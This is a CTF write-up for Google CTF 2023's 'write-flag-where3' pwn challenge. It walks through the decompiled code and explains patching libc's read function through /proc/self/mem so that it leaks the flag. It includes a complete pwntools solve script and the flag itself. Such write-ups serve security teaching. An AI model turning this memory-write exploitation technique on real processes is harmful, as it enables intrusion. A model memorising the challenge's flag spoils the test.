write-flag-where3

by bronson113 / b01lers

Tags: pwn arbitrary-write

Rating:

```
Your skills are considerable, I'm sure you'll agree
But this final level's toughness fills me with glee
No writes to my binary, this I require
For otherwise I will surely expire

nc wfw3.2023.ctfcompetition.com 1337
solves: 43
```

From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3.

The decompiled code from ghidra for part 3, with some modification to reflect each level:

```
int main(){
  local_c = open("/proc/self/maps",0);
  read(local_c,maps,0x1000);
  close(local_c);
  local_10 = open("./flag.txt",0);
  if (local_10 == -1) {
    puts("flag.txt not found");
  }
  else {
    sVar2 = read(local_10,flag,0x80);
    if (0 < sVar2) {
      close(local_10);
      local_14 = dup2(1,0x539);
      local_18 = open("/dev/null",2);
      dup2(local_18,0);
      dup2(local_18,1);
      dup2(local_18,2);
      close(local_18);
      alarm(0x3c);
      dprintf(local_14,
              "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn es
s fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n"
             );
      dprintf(local_14,"%s\n\n",maps);
      while( true ) {
    // dprintf(local_14,"Give me an address and a length just so:\n<address> <length>\nAnd I\'ll write
it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily
expire\n"); // part 1
        local_78 = 0;
        local_70 = 0;
        local_68 = 0;
        local_60 = 0;
        local_58 = 0;
        local_50 = 0;
        local_48 = 0;
        local_40 = 0;
        sVar2 = read(local_14,&local_78,0x40);
        local_1c = (undefined4)sVar2;
        iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);
    // if (((iVar1 != 2) || (0x7f < local_2c))) // part 2
        if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5
000)))) // part 3
        break;
        local_20 = open("/proc/self/mem",2);
        lseek64(local_20,local_28,0);
        write(local_20,flag,(ulong)local_2c);
        close(local_20);
      }
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    puts("flag.txt empty");
  }
  return 1;
}
```

Lastly for part 3, we can't write into the main binary region, including the all the data sections. After looking through the functions in libc that are used, I found that the read function is the most likely function to be hijacked, since the arguments used to call the function is helpful.

Meanwhile, I also look for some useful instructions we can create using the flag prefix. I notice that 0x43 ('C') is a prefix in x86 assembly, and can be used to nop out instruction with minimal effects on most registers. Another interesting instruction is 0x7b ('{'), which is jnp. This allow use to jmp further down the program. The changes made to the read function is as follow: (Assembly of the unmodified/modified assembly will be added below)

```
Overwrite the second syscall to set rsi from rsp+0x43
Overwrite ja after second syscall to jnp to jump downward
Overwrite jump direction of the last jmp to jump to write function
Overwrite broken instructions with nop so it doesn't segfault
Overwrite the first return in the read function to trigger the full exploit.
```

After overwriting the first return, I control the input to the read syscall to manipulate the content in rsp+0x43, and write the flag location there, so the write syscall will leak out the flag. To overcome the issue of no output, I add a sleep between each input to make sure the remove server have enough time to process each input. A better solution will be to pad each input to 0x40 bytes, then no delay will be needed. The solve script is in solve3.py.

`CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}`

```
from pwn import *
import time

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]
```

```python
def connect():
    if args.REMOTE:
        nc_str = "nc wfw3.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    else:
        os.system("ulimit -n 2048")
        p = process([elf.path], preexec_fn = lambda: os.dup2(0, 1337))
        if args.GDB:
           gdb_script = """
           b *main+638
           c 20
           """
           gdb.attach(p, gdb_script)

    return p


def main():
    p = connect()

    def write(addr, len):
        #p.stdout.write(f'0x{addr:x} {len}\n'.encode())
        p.sendline(f'0x{addr:x} {len}'.encode())

        time.sleep(0.5)

    libc_found = False
    elf_found = False
    while True:
        line = p.recvline().decode('ascii').strip()
        if 'chal' in line and not elf_found:
            elf_base = int(line.split()[0].split('-')[0], 16)
            elf_found = True

        if line.endswith('libc.so.6') and not libc_found:
            libc_base = int(line.split()[0].split('-')[0], 16)
            libc_found = True

        if line.endswith('[stack]'):
            stack_bottom = int(line.split()[0].split('-')[1], 16)
            break

    print(hex(elf_base))
    print(hex(libc_base))
    print(hex(stack_bottom))

    input_buf_offset = 5856

    for i in range(0x1149b2, 0x1149b7):
        write(libc_base + i, 1)

    for i in range(0x114a08, 0x114a0f):
        write(libc_base + i, 1)

    write(libc_base + 0x114a60, 1)

    write(libc_base + 0x1149cf, 4)
    write(libc_base + 0x1149ce, 4)

    write(libc_base + 0x114a1c, 1)
    write(libc_base + 0x1149c0, 1)
    write(libc_base + 0x11499f, 1)
    write(libc_base + 0x11499e, 1)
    write(libc_base + 0x11499d, 1)
    write(libc_base + 0x11499c, 1)
    write(libc_base + 0x11499b, 1)
    write(libc_base + 0x11499a, 1)
    p.send(("a"*0x13).encode()+p64(elf_base + 0x50a0))
    time.sleep(0.5)
    p.send(b"CT")

    p.interactive()


if __name__ == "__main__":
    main()

#CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}
```

link to blog

Original writeup (https://bronson113.github.io/2023/06/26/googlectf-2023-writeup.html#write-flag-where-13).

Comments